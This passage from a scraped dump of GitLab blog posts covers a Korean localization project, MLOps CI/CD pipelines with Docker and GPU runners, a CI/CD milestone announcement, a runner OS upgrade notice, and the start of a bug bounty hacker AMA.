cultivate software talents with diverse roles in the field of software as its primary focus. Using GitLab, students have opportunities to learn through practical experience covering most aspects of the DevOps lifecycle, including issue management, version control, building, and deploying software.\n\n**When did you start using GitLab, and for what purpose?**\n\nSince 2018, when Ajou University became a software-focused institution, we started to utilize GitLab for educational purposes, including tasks such as assignments and submissions. Currently, our GitLab instance hosts over 9,000 projects and serves more than 2,200 students.\n\n**What motivated you to translate all of GitLab's product interface text into Korean?**\n\nOutside of my professional responsibilities, I have been actively contributing to diverse open source projects. Given my role as a professor, I saw an opportunity to underscore the significance of open source contributions to my students and inspire them to engage in such activities. During this semester, I established the objective of involving students in open source projects, specifically focusing on Korean localization. Remarkably, more than 10 students eagerly volunteered to participate in the translation efforts of more than 10 open source projects into Korean.\n\n**How many students participated in the GitLab translation project, and how long did it take?**\n\nThere were seven students in total, both majoring and minoring in software and computer engineering. We distributed the tasks among them to collaborate on the project. The entire project was completed in approximately half a semester, which took about two months.\n\n**Each student may have different translations for the same words. How did you handle this?**\n\nWe managed this by creating our own glossary to ensure uniform translations. We collaborated to achieve consistency in the wording, and we synced regularly to discuss and resolve any ambiguous or contentious issues.\n\n**What was the most challenging aspect of the project?**\n\nOne of the biggest challenges we faced was the continuous addition of new strings and phrases with each new GitLab update. Keeping up with these additions proved to be quite challenging. Additionally, there were instances where there was no direct Korean equivalent for English terms, or where additional contextual explanations were required, making the translation process more complex.\n\nWhen students identified inconsistencies that were not covered by the glossary, I encouraged them to bring these up in the regular sync. We tried to determine which translated terms were commonly used. And we used the [Korean TTA standards (Telecommunications Technology Association) dictionary](https://terms.tta.or.kr/main.do) as a primary point of reference.\n\n**Could you provide some closing thoughts regarding the contribution?**\n\nThe students were surprised to discover their ability to actively participate in the open source software they rely on, leading to a newfound sense of pride. This transformation signified a shift in the focus to embracing the concept of community and recognizing the genuine value of open source software through their contributions to shared community-driven objectives.\n\n### Learn how you can contribute to translation\nContributing to translation is a journey that goes beyond words; it's about building a global community and making technology more accessible. As Professor Lee mentioned, students discovered they could actively engage in open source software, and this filled them with pride. It's a rewarding journey that goes beyond language, and it's an opportunity to make a meaningful impact on the tech world.\n\nSoftware can only be as usable and accessible to its users as it is understandable by them. Translation helps bridge the linguistic and cultural gaps that might be preventing your software from being adopted by a given community. Together with contributors, proofreaders also play an important role in helping new contributors succeed by ensuring the consistency and quality of translations. Did you know that the term \"merge request\" can be translated into Korean in various ways?\n\nA good place to start is the [Translate GitLab page](https://docs.gitlab.com/ee/development/i18n/), where you can learn how you can contribute to GitLab's externalization, translation, proofreading, and merging. If you have any questions, please join translate.gitlab.com or post questions on the [Crowdin discussions forum](https://translate.gitlab.com/project/gitlab-ee/discussions).\n\nTo participate in discussions building a glossary list for Korean translation, join us at [gitlab.com/korean-translation/gitlab](https://gitlab.com/korean-translation/gitlab)! Once we finalize the glossary list and establish grammar rules, we aim to consistently elevate the quality of our translations.\n",[815,267,754],{"slug":8199,"featured":6,"template":678},"behind-the-scenes-of-gitlab-korean-translation","content:en-us:blog:behind-the-scenes-of-gitlab-korean-translation.yml","Behind The Scenes Of Gitlab Korean Translation","en-us/blog/behind-the-scenes-of-gitlab-korean-translation.yml","en-us/blog/behind-the-scenes-of-gitlab-korean-translation",{"_path":8205,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8206,"content":8211,"config":8216,"_id":8218,"_type":16,"title":8219,"_source":17,"_file":8220,"_stem":8221,"_extension":20},"/en-us/blog/there-is-no-mlops-without-devsecops",{"title":8207,"description":8208,"ogTitle":8207,"ogDescription":8208,"noIndex":6,"ogImage":6418,"ogUrl":8209,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8209,"schema":8210},"Building GitLab with GitLab: Why there is no MLOps without DevSecOps","Follow along as data scientists adopt DevSecOps practices and enjoy the benefits of automation, repeatable workflows, standardization, and automatic provisioning of infrastructure.","https://about.gitlab.com/blog/there-is-no-mlops-without-devsecops","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Building GitLab with GitLab: Why there is no MLOps without DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Arias\"}],\n        \"datePublished\": \"2023-10-05\",\n      }",{"title":8207,"description":8208,"authors":8212,"heroImage":6418,"date":8195,"body":8214,"category":791,"tags":8215},[8213],"William Arias","\nBuilding predictive models requires a good amount of experimentation and iterations. Data scientists building those models usually implement workflows involving several steps such as data loading, processing, training, testing, and deployment. Such workflows or data science pipelines come with a set of challenges on their own; some of these common challenges are:\n- prone to error due to manual steps\n- experimentation results that are hard to replicate\n- long training time of machine learning (ML) models \n\nWhen there is a challenge, there is also an opportunity; in this case, those challenges represent an opportunity for data scientists to adopt DevSecOps practices and enjoy the benefits of automation, repeatable workflows, standardization, and automatic provisioning of infrastructure needed for data-driven applications at scale.\n\nThe [Data Science team at GitLab](https://about.gitlab.com/handbook/business-technology/data-team/organization/data-science/) is now utilizing the GitLab DevSecOps Platform in their workflows, specifically to:\n- enhance experiment reproducibility by ensuring code and data execute in a standardized container image\n- automate training and re-training of ML models with GPU-enabled CI/CD\n- leverage ML experiment tracking, storing the most relevant metadata and artifacts produced by data science pipelines automated with CI\n\nAt GitLab, we are proponents of \"dogfooding\" our platform and sharing how we use GitLab to build GitLab. What follows is a detailed look at the Data Science team's experience.\n\n### Enhancing experiment reproducibility \nA baseline step to enhance reproducibility is having a common and standard experiment environment for all data scientists to run experiments in their Jupyter Notebooks. A standard data science environment ensures that all team members use the same software dependencies. A way to achieve this is by building a container image with all the respective dependencies under version control and re-pulling it every time a new version of the code is run. This process is illustrated in the figure below:\n\n![build](https://about.gitlab.com/images/blogimages/2023-10-04-there-is-no-mlops-without-devsecops/build-2.png)\nData science image of automatic build using GitLab CI \n{: .note.text-center}\n\nYou might wonder if the image gets built every time there is a new commit. The answer is \"no\" since that would result in longer execution times, and the image dependencies versions don’t change frequently, rendering it unnecessary to build it every time there is a new commit. Therefore, once the standard image is automatically built by the pipeline, it is pushed to the GitLab Container Registry, where it is stored and ready to be pulled every time changes to the model code are introduced, and re-training is necessary.\n\n![registry](https://about.gitlab.com/images/blogimages/2023-10-04-there-is-no-mlops-without-devsecops/registry.png)\nGitLab Container Registry with image automatically built and pushed by a CI pipeline\n{: .note.text-center}\n\nChanges to the image dependencies or Dockerfile require a [merge request](https://docs.gitlab.com/ee/user/project/merge_requests/) and an approval process.\n\n### How to build the data science image using GitLab CI/CD\nConsider this project structure:\n\n```\nnotebooks/\n.gitlab-ci.yml\nDockerfile\nconfig.yml\nrequirements.txt\n```\nGitLab's Data Science team already had a pre-configured JupyterLab image with packages such as [gitlabds](https://pypi.org/project/gitlabds/1.0.0/) for common data preparation tasks and modules to enable Snowflake connectivity for loading raw data. All these dependencies are reflected in the Dockerfile at the root of the project, plus all the steps necessary to build the image: \n\n```\nFROM nvcr.io/nvidia/cuda:12.1.1-base-ubuntu22.04\nCOPY .    /app/\nWORKDIR /app\nRUN apt-get update\nRUN apt-get install -y python3.9\nRUN apt-get install -y python3-pip\nRUN pip install -r requirements.txt\n```\n\nThe instructions to build the data science image start with using Ubuntu with CUDA drivers as a base image. We are using this baseline image because, moving forward, we will use GPU hardware to train models. The rest of the steps include installing Python 3.9 and the dependencies listed in `requirements.txt` with their respective versions. \n\nAutomatically building the data science image using [GitLab CI/CD](https://about.gitlab.com/topics/ci-cd/) requires us to create the `.gitlab-ci.yml ` at the root of the project and use it to describe the jobs we want to automate. For the time being, let’s focus only on the `build-ds-image`job:\n\n```\nvariables:\n  DOCKER_HOST: tcp://docker:2375\n  MOUNT_POINT: \"/builds/$CI_PROJECT_PATH/mnt\"\n  CONTAINER_IMAGE: \"$CI_REGISTRY_IMAGE/main-image:latest\"\n\nstages:\n    - build\n    - train\n    - notify\ninclude:\n  - template: 'Workflows/MergeRequest-Pipelines.gitlab-ci.yml'\nworkflow:\n  rules:\n    - if: $CI_PIPELINE_SOURCE == \"merge_request_event\"\n    - if: $CI_COMMIT_BRANCH && $CI_OPEN_MERGE_REQUESTS\n      when: never\n\nbuild-ds-image:\n  tags: [ saas-linux-large-amd64 ]\n  stage: build\n  services:\n    - docker:20.10.16-dind\n  image:\n    name: docker:20.10.16\n  script:\n    - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY\n    - docker build -t $CONTAINER_IMAGE .\n    - docker push $CONTAINER_IMAGE\n  rules:\n    - if: '$CI_PIPELINE_SOURCE == \"merge_request_event\" && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME == $CI_DEFAULT_BRANCH'\n      changes:\n       - Dockerfile\n       - requirements.txt\n\n  allow_failure: true\n```\n\nAt a high level, the job `build-ds-image`:\n- uses a docker-in-docker service (dind) necessary to create docker images in GitLab CI/CD.\n- uses [predefined variables](link) to log into the GitLab Container Registry, build the image, tag it using $CONTAINER_IMAGE variable, and push it to the registry. These steps are declared in the script section lines.\n- leverages a  `rules` section to evaluate conditions to determine if the job should be created. In this case, this job runs only if there are changes to the Dockerfile and requirements.txt file and if those changes are created using a merge request.\n\nThe conditions declared in `rules` helps us optimize the pipeline running time since the image gets rebuilt only when necessary.\n\nA complete pipeline can be found in this example project, along with instructions to trigger the automatic creation of the data science image: [Data Science CI pipeline](https://gitlab.com/gitlab-data/data-science-ci-example/-/blob/main/.gitlab-ci.yml?ref_type=heads).\n\n### Automate training and re-training of ML models with GPU-enabled CI/CD\nGitLab offers the ability to leverage GPU hardware and, even better, to get this hardware automatically provisioned to run jobs declared in the .gitlab-ci.yml file. We took advantage of this capability to train our ML models faster without spending time setting up or configuring graphics card drivers. Using GPU hardware ([GitLab Runners](https://docs.gitlab.com/ee/ci/runners/saas/gpu_saas_runner.html)) requires us to add this line to the training job: \n\n```\ntags:\n        - saas-linux-medium-amd64-gpu-standard\n```\n\nThe tag above will ensure that a GPU GitLab Runner automatically picks up every training job.\nLet’s take a look at the entire training job in the .gitlab-ci.yml file and break down what it does:\n\n```\ntrain-commit-activated:\n    stage: train\n    image: $CONTAINER_IMAGE\n    tags:\n        - saas-linux-medium-amd64-gpu-standard\n    script:\n        - echo \"GPU training activated by commit message\"\n        - echo \"message passed is $CI_COMMIT_MESSAGE\"\n        - notebookName=$(echo ${CI_COMMIT_MESSAGE/train})\n        - echo \"Notebook name $notebookName\"\n        - papermill -p is_local_development False -p tree_method 'gpu_hist' $notebookName -\n    rules:\n        - if: '$CI_COMMIT_BRANCH == \"staging\"'\n          when: never\n        - if: $CI_COMMIT_MESSAGE =~ /\\w+\\.ipynb/\n          when: always\n          allow_failure: true\n    artifacts:\n      paths:\n        - ./model_metrics.md\n````\n\nLet’s start with this block:\n\n```\ntrain-commit-activated:\n    stage: train\n    image: $CONTAINER_IMAGE\n    tags:\n        - saas-linux-medium-amd64-gpu-standard\n```\n\n- **train-commit-activated** This is the name of the job. Since the model training gets activated given a specific pattern in the commit message, we use a descriptive name to easily identify it in the larger pipeline.\n- **stage: train** This specifies the pipeline stage where this job belongs. In the first part of the CI/CD configuration, we defined three stages for this pipeline: `build`, `train`,  and `notify`. This job comes after building the data science container image. The order is essential since we first need the image built to run our training code in it.\n- **image: $CONTAINER_IMAGE** Here, we specify the Docker image built in the first job that contains the CUDA drivers and necessary Python dependencies to run this job. $CONTAINER_IMAGE is a user-defined variable specified in the variables section of the .gitlab-ci.yml file. \n- **tags: saas-linux-medium-amd64-gpu-standard** As mentioned earlier, using this line, we ask GitLab to automatically provision a GPU-enabled Runner to execute this job.\n\nThe second block of the job:\n\n```\nscript:\n        - echo \"GPU training activated by commit message\"\n        - echo \"message passed is $CI_COMMIT_MESSAGE\"\n        - notebookName=$(echo ${CI_COMMIT_MESSAGE/train})\n        - echo \"Notebook name $notebookName\"\n        - papermill -p is_local_development False -p tree_method 'gpu_hist' $notebookName -\n```\n\n- **script** This section contains the commands in charge of running the model training. The execution of this job is conditioned to the contents of the  commit message. The commit message must have the name of the Jupyter Notebook that contains the actual model training code.\n\nThe rationale behind this approach is that we wanted to keep the data scientist workflow as simple as possible. The team had already adopted the [modeling templates](https://gitlab.com/gitlab-data/data-science/-/tree/main/templates) to start building predictive models quickly. Plugging the CI pipeline into their modeling workflow was a priority to ensure productivity would remain intact. With these steps:\n\n```\nnotebookName=$(echo ${CI_COMMIT_MESSAGE/train})\n        - echo \"Notebook name $notebookName\"\n        - papermill -p is_local_development False -p tree_method 'gpu_hist' $notebookName -\n```\n\nThe CI pipeline captures the name of the Jupyter Notebook with the training modeling template and passes parameters to ensure [XGBoost](https://xgboost.readthedocs.io/en/stable/) uses the provisioned GPU. You can find an example of the Jupyter modeling template that is executed in this job [here](https://gitlab.com/gitlab-data/data-science-ci-example/-/blob/main/notebooks/training_example.ipynb?ref_type=heads).\n\nOnce the data science image is built, it can be reutilized in further model training jobs. The `train-commit-activated` job pulls the image from the GitLab Container Registry and utilizes it to run the ML pipeline defined in the training notebook. This is illustrated in the `CI Job - Train model` in the figure below:\n\n![training](https://about.gitlab.com/images/blogimages/2023-10-04-there-is-no-mlops-without-devsecops/training_job.png)\nTraining job executes ML pipeline defined in the modeling notebook\n{: .note.text-center}\n\nSince our image contains CUDA drivers and GitLab automatically provisions GPU-enabled hardware, the training job runs significantly faster with respect to standard hardware.\n\n### Using GitLab ML experiment tracker\nEach model training execution triggered using GitLab CI is an experiment that needs tracking. Using Experiment tracking in GitLab helps us to record metadata that comes in handy to compare model performance and collaborate with other data scientists by making result experiments available for everyone and providing a detailed history of the model development.\n\n![experiments](https://about.gitlab.com/images/blogimages/2023-10-04-there-is-no-mlops-without-devsecops/experiments.png)\nExperiments automatically logged on every CI pipeline GPU training run \n{: .note.text-center}\n\nEach model artifact created can be traced back to the pipeline that generated it, along with its dependencies:\n\n![traceability](https://about.gitlab.com/images/blogimages/2023-10-04-there-is-no-mlops-without-devsecops/traceability_small.png)\nModel traceability from pipeline run to candidate details\n{: .note.text-center}\n\n### Putting it all together\nWhat is machine learning without data to learn from? We also leveraged the [Snowflake](https://www.snowflake.com/en/) connector in the model training notebook and automated the data extraction whenever the respective commit triggers a training job. Here is an architecture of the current solution with all the parts described in this blog post:\n\n![process](https://about.gitlab.com/images/blogimages/2023-10-04-there-is-no-mlops-without-devsecops/training_fixed.png)\nData Science pipelines automated using GitLab DevSecops Platform\n{: .note.text-center}\n\n| Challenge | Solution |\n| ------ | ------ | \n|Prone to error due to manual steps | Automate steps with [GitLab CI/CD](https://docs.gitlab.com/ee/ci/) |\n|Experimentation results that are hard to replicate    |  Record metadata and model artifacts with [GitLab Experiment Tracker](https://docs.gitlab.com/ee/user/project/ml/experiment_tracking/)    |\n|The long training time of machine learning models     |  Train models with [GitLab SaaS GPU Runners](https://docs.gitlab.com/ee/ci/runners/saas/gpu_saas_runner.html)  |\n\nIterating on these challenges is a first step towards MLOps, and we are at the tip of the iceberg; in coming iterations, we will adopt security features to ensure model provenance (software bill of materials) and code quality, and to monitor our ML workflow development with value stream dashboards. But so far, one thing is sure: **There is no MLOps without DevSecOps**.\n\nGet started automating your data science pipelines, follow this [tutorial](https://about.gitlab.com/handbook/business-technology/data-team/platform/ci-for-ds-pipelines/) and clone this [data-science-project](https://gitlab.com/gitlab-data/data-science-ci-example) to follow along and watch this demo of using GPU Runners to train [XGBoost](https://xgboost.readthedocs.io/en/stable/) model.\n\nSee how data scientists can train ML models with GitLab GPU-enabled Runners (XGBoost 5-minute demo):\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/tElegG4NCZ0?si=L1IZfx_UGv6u81Gk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## More \"Building GitLab with GitLab\" blogs\nRead more of our \"Building GitLab with GitLab\" series:\n- [How we use Web API fuzz testing](https://about.gitlab.com/blog/building-gitlab-with-gitlab-api-fuzzing-workflow/)\n- [How GitLab.com inspired GitLab Dedicated](https://about.gitlab.com/blog/building-gitlab-with-gitlabcom-how-gitlab-inspired-dedicated/)\n",[696,943,479,790],{"slug":8217,"featured":6,"template":678},"there-is-no-mlops-without-devsecops","content:en-us:blog:there-is-no-mlops-without-devsecops.yml","There Is No Mlops Without Devsecops","en-us/blog/there-is-no-mlops-without-devsecops.yml","en-us/blog/there-is-no-mlops-without-devsecops",{"_path":8223,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8224,"content":8230,"config":8235,"_id":8237,"_type":16,"title":8238,"_source":17,"_file":8239,"_stem":8240,"_extension":20},"/en-us/blog/one-billion-pipelines-cicd",{"title":8225,"description":8226,"ogTitle":8225,"ogDescription":8226,"noIndex":6,"ogImage":8227,"ogUrl":8228,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8228,"schema":8229},"Beyond source code management: 1 billion pipelines of CI/CD innovation","GitLab recently reached a major CI/CD milestone - find out what this means for customer innovation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668799/Blog/Hero%20Images/securitylifecycle.png","https://about.gitlab.com/blog/one-billion-pipelines-cicd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Beyond source code management: 1 billion pipelines of CI/CD innovation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jackie Porter\"}],\n        \"datePublished\": \"2023-10-04\",\n      }",{"title":8225,"description":8226,"authors":8231,"heroImage":8227,"date":8232,"body":8233,"category":736,"tags":8234},[2985],"2023-10-04","\nOur DevSecOps journey began with a clear vision: to empower developers and organizations with a unified platform for simplifying the software development lifecycle. Today, GitLab enables thousands of organizations to accelerate value delivery by going beyond source code management and enhancing the CI/CD capabilities of our AI-powered DevSecOps platform. We recently achieved a significant milestone demonstrating how this innovation drives customer success – 1 billion pipelines have now run on GitLab's SaaS-based DevSecOps Platform.\n\nFrom healthcare to finance, e-commerce to education, our platform has become the backbone of [digital transformation journeys worldwide](http://about.gitlab.com/customers). Every day, more and more customers like [Lockheed Martin](https://about.gitlab.com/customers/lockheed-martin/), [Carfax](https://about.gitlab.com/customers/carfax/), [Hackerone](https://about.gitlab.com/customers/hackerone/), and [Deutsche Telekom](https://about.gitlab.com/customers/deutsche-telekom/) are benefitting from GitLab's CI/CD, which automates the building, testing, packaging, securing, and deploying of code, starting at their first commit. With GitLab, they deliver better code and faster releases – fewer bugs and more time spent on new features.\n\n> Test-drive CI/CD today with a [free trial of GitLab Ultimate](https://gitlab.com/-/trials/new).\n\n## Customer-driven innovation\nGitLab delivers customer-driven innovation through collaboration and contributions from the community and customers. In addition, as [GitLab is developed using GitLab](https://about.gitlab.com/handbook/engineering/development/principles/#dogfooding), we are able to identify and tackle the same issues our customers face. Let’s look at some of the critical advancements in GitLab CI/CD.\n\n### Dealing with time-to-market pressures\n\nTime-to-market is critical in today's fast-paced economic environment. GitLab's CI/CD pipelines accelerate the software delivery process, enabling organizations to respond swiftly to market demands. By incorporating artificial intelligence (AI) across the software development lifecycle, GitLab helps organizations improve productivity, enabling them to develop, secure, and deploy software even faster. Our new [GitLab Duo AI](https://about.gitlab.com/gitlab-duo/) capabilities further improve productivity and efficiency, including:\n* Code Suggestions, which helps with faster code creation\n* Suggested Reviewers, which expedites code reviews and approvals\n* Vulnerability summary, which aids with rapid vulnerability remediation\n* Value stream forecasting, which predicts future team efficiency\n\n_“Time to market was a big issue for us. Before our transformation to Agile and DevOps started, we had release cycles of nearly 18 months in some cases. We've been able to dramatically reduce that to roughly 3 months.\" Thorsten Bastian, Business Owner IT, CI/CD Hub, Telekom IT, [Deutsche Telekom](https://about.gitlab.com/customers/deutsche-telekom/)_\n\nGet to know GitLab's CI/CD capabilities with this demo.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/WKR-7clknsA\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\n### Facing security vulnerabilities head-on\n\nSecurity is seamlessly integrated into the CI/CD pipeline within the natural workflow of developers, enabling them to detect vulnerabilities early. Security scans, including static application security testing ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) and dynamic application security testing ([DAST](https://docs.gitlab.com/ee/user/application_security/dast/)), are incorporated directly into the CI/CD pipeline, helping to ensure that every release is secure by design. Security checks become integral to the development process, reducing the risk of vulnerabilities delaying releases. GitLab enables compliance teams to apply relevant controls and governance frameworks. Recently, we launched new capabilities to centralize policy management, expand reports and controls, and enhance our compliance dashboards.\n\n_“GitLab is helping us catch security flaws early and it's integrated it into the developer's flow. An engineer can push code to GitLab CI, get that immediate feedback from one of many cascading audit steps, and see if there's a security vulnerability built in there, and even build their own new step that might test a very specific security issue.” Mitch Trale, Head of Infrastructure, [HackerOne](https://about.gitlab.com/customers/hackerone/)_\n\nLearn how to use vulnerability management tools in your environment with this demo.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/8SJHz6BCgXM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\n### Dealing with developer productivity and toolchain complexity\nGitLab helps organizations build a framework for platform engineering to create golden paths to standardize, scale, and secure workflows.\n\nEstablishing these golden paths helps combat cognitive overload and the trend of \"you build it, you run it,\" which have taken a toll on developer productivity and happiness. Golden paths also support consistent application of policies across the organization, addressing the challenges that arise when [different teams use different processes and tools](https://about.gitlab.com/the-source/platform/devops-teams-want-to-shake-off-diy-toolchains-a-platform-is-the-answer/). GitLab includes capabilities like templates, inheritance rules, infrastructure as code, and remote development that benefit DevSecOps teams by reducing time to onboard new developers, improving workflow efficiency and collaboration, and supporting workspace flexibility.\n\n_“It seems that everything is just cleaner now when moving code to production. We’re putting out more new product features because teams are spending more time creating code than making sure their pipelines are running. When we go to commonize our CI/CD pipelines, we can move them (workloads to the cloud) with a common on-ramp that makes it easier.” Mark Portofe, Director of Platform Engineering, [CARFAX](https://about.gitlab.com/customers/carfax/)_\n\nHear Mark Portofe from CARFAX walk through their journey of establishing golden paths to improve developer productivity with GitLab.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://player.vimeo.com/video/853193701?h=1c829eb7b7\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\n## Looking ahead\nGitLab remains committed to pushing the boundaries of what's possible in CI/CD. We continue to innovate and provide you with the tools and capabilities you need to stay ahead in a rapidly evolving tech landscape. Here are some of the key capabilities we are excited to roll out in the coming months:\n\n* [CI/CD catalog](https://about.gitlab.com/blog/introducing-ci-components/) to create discoverable, shareable, and accessible building blocks that promote reuse and innersourcing and support scalable DevSecOps processes\n* [Customizable roles](https://about.gitlab.com/blog/expanding-guest-capabilities-in-gitlab-ultimate/) to implement customizable separation of duties policies\n* [AI capabilities](https://about.gitlab.com/blog/modern-software-development-problems-require-modern-ai-powered-devsecops/) like Code Suggestions extended to self-managed deployments and GitLab Duo Chat to provide a context-aware assistant for developers to enhance their productivity\n* [Comprehensive and centralized policy management](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/) that combines the flexibility of compliance pipelines with the user experience of scan execution policies into a single solution\n\nGitLab was named a Leader in the 2023 Gartner® Magic Quadrant™ for DevOps Platforms. We believe this recognizes our role in helping customers streamline their software delivery process and deliver software faster. [Download the report](http://about.gitlab.com/gartner-magic-quadrant) to learn more.\n\nYou can try CI/CD today with a [free trial of GitLab Ultimate](https://gitlab.com/-/trials/new).\n\n_Gartner, Magic Quadrant for DevOps Platforms, Manjunath Bhat, Thomas Murphy, Et al., 05 June 2023. GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally, and MAGIC QUADRANT is a registered trademark of Gartner, Inc. and/or its affiliates and are used herein with permission. All rights reserved. Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose._\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n\n",[110,736,2705],{"slug":8236,"featured":6,"template":678},"one-billion-pipelines-cicd","content:en-us:blog:one-billion-pipelines-cicd.yml","One Billion Pipelines Cicd","en-us/blog/one-billion-pipelines-cicd.yml","en-us/blog/one-billion-pipelines-cicd",{"_path":8242,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8243,"content":8249,"config":8253,"_id":8255,"_type":16,"title":8256,"_source":17,"_file":8257,"_stem":8258,"_extension":20},"/en-us/blog/updating-the-os-version-of-saas-runners-on-linux",{"title":8244,"description":8245,"ogTitle":8244,"ogDescription":8245,"noIndex":6,"ogImage":8246,"ogUrl":8247,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8247,"schema":8248},"Upgrading the operating system version of our SaaS runners on Linux","With GitLab 17.0, we are updating the operating system version of our SaaS runners on Linux. Learn what will change and how to mitigate potential incompatibilities.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669863/Blog/Hero%20Images/security-pipelines.jpg","https://about.gitlab.com/blog/updating-the-os-version-of-saas-runners-on-linux","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Upgrading the operating system version of our SaaS runners on Linux\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabriel Engel\"}],\n        \"datePublished\": \"2023-10-04\",\n      }",{"title":8244,"description":8245,"authors":8250,"heroImage":8246,"date":8232,"body":8251,"category":736,"tags":8252},[769],"\nGitLab 17.0, due in May 2024, comes with an upgrade to the container-optimized operating system ([COS](https://cloud.google.com/container-optimized-os/docs)) of the ephemeral VMs used to execute jobs for [SaaS runners on Linux](https://docs.gitlab.com/ee/ci/runners/saas/linux_saas_runner.html). That COS upgrade includes a Docker Engine upgrade from Version 19.03.15 to Version 23.0.5, which introduces a known compatibility issue.  \n\n## Who will be impacted by the change?\nThe fleet of [SaaS runners on Linux](https://docs.gitlab.com/ee/ci/runners/saas/linux_saas_runner.html) with the tags `saas-linux-*-amd64` will receive an update. This change does not affect the SaaS Runners on macOS and Windows.\n\n### Using Docker-in-Docker\nUsing [Docker-in-Docker based jobs](https://docs.gitlab.com/ee/ci/docker/using_docker_build.html#use-docker-in-docker)\nwith a version prior to `20.10` on a host that uses Docker Engine 20.10 or newer, you'll get the following error:\n\n```plaintext\ncgroups: cgroup mountpoint does not exist: unknown\n```\n\n### Using Kaniko\n[Using Kaniko to build container images](https://docs.gitlab.com/ee/ci/docker/using_kaniko.html) is another impacted use case.\nKaniko versions older than `v1.9.0`, are unable to detect the container runtime and fail with the error:\n\n```plaintext\nkaniko should only be run inside of a container, run with the --force flag if you are sure you want to continue\n```\n\n## How to fix the issue\nTo fix this, simply update the version of Docker-in-Docker or Kaniko images used in your job.\nIn general, we strongly advise the regular testing and updating to the latest possible version, and referencing it explicitly in the job definition.\nThis will prevent your jobs from randomly failing when image updates are published.\n\n### Using Docker-in-Docker\nUpdate your jobs to use `docker:dind` in Version 20.10 or newer, such as:\n\n```yaml\njob:\n  services:\n  - docker:24.0.5-dind\n  image: docker:24.0.5\n  script:\n  - ...\n```\n\n### Using Kaniko\nUpdate your jobs to use `gcr.io/kaniko-project/executor` in Version `v1.9.0` or newer, such as:\n\n```yaml\njob:\n  image: gcr.io/kaniko-project/executor:v1.14.0\n  script:\n  - ...\n```\n\n## Read more\n- [What are SaaS runners?](https://docs.gitlab.com/ee/ci/runners/)\n- [SaaS runners on Linux documentation](https://docs.gitlab.com/ee/ci/runners/saas/linux_saas_runner.html)\n- [Building Docker images with Docker documentation](https://docs.gitlab.com/ee/ci/docker/using_docker_build.html)\n- [Building Docker images with Kaniko documentation](https://docs.gitlab.com/ee/ci/docker/using_kaniko.html)\n",[110,695,736],{"slug":8254,"featured":6,"template":678},"updating-the-os-version-of-saas-runners-on-linux","content:en-us:blog:updating-the-os-version-of-saas-runners-on-linux.yml","Updating The Os Version Of Saas Runners On Linux","en-us/blog/updating-the-os-version-of-saas-runners-on-linux.yml","en-us/blog/updating-the-os-version-of-saas-runners-on-linux",{"_path":8260,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8261,"content":8267,"config":8272,"_id":8274,"_type":16,"title":8275,"_source":17,"_file":8276,"_stem":8277,"_extension":20},"/en-us/blog/ask-a-hacker",{"title":8262,"description":8263,"ogTitle":8262,"ogDescription":8263,"noIndex":6,"ogImage":8264,"ogUrl":8265,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8265,"schema":8266},"Ask a hacker - 0xn3va","Vladislav Nechakhin or @0xn3va, one of our top 10 hacker contributors, joined us for an AMA and details his approach and strategy for bug bounty hunting.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683087/Blog/Hero%20Images/cover-fotis-fotopoulos.png","https://about.gitlab.com/blog/ask-a-hacker","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Ask a hacker - 0xn3va\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ottilia Westerlund\"}],\n        \"datePublished\": \"2023-10-02\",\n      }",{"title":8262,"description":8263,"authors":8268,"heroImage":8264,"date":8269,"body":8270,"category":674,"tags":8271},[2890],"2023-10-02","Recently, we held a public GitLab AMA (Ask Me Anything) with the bug bounty hunter Vladislav Nechakhin (@0xn3va on HackerOne and Twitter) about why he hacks, how he hacks and advice for others looking to do the same. \n\n_A bit about [Vladislav Nechakhin 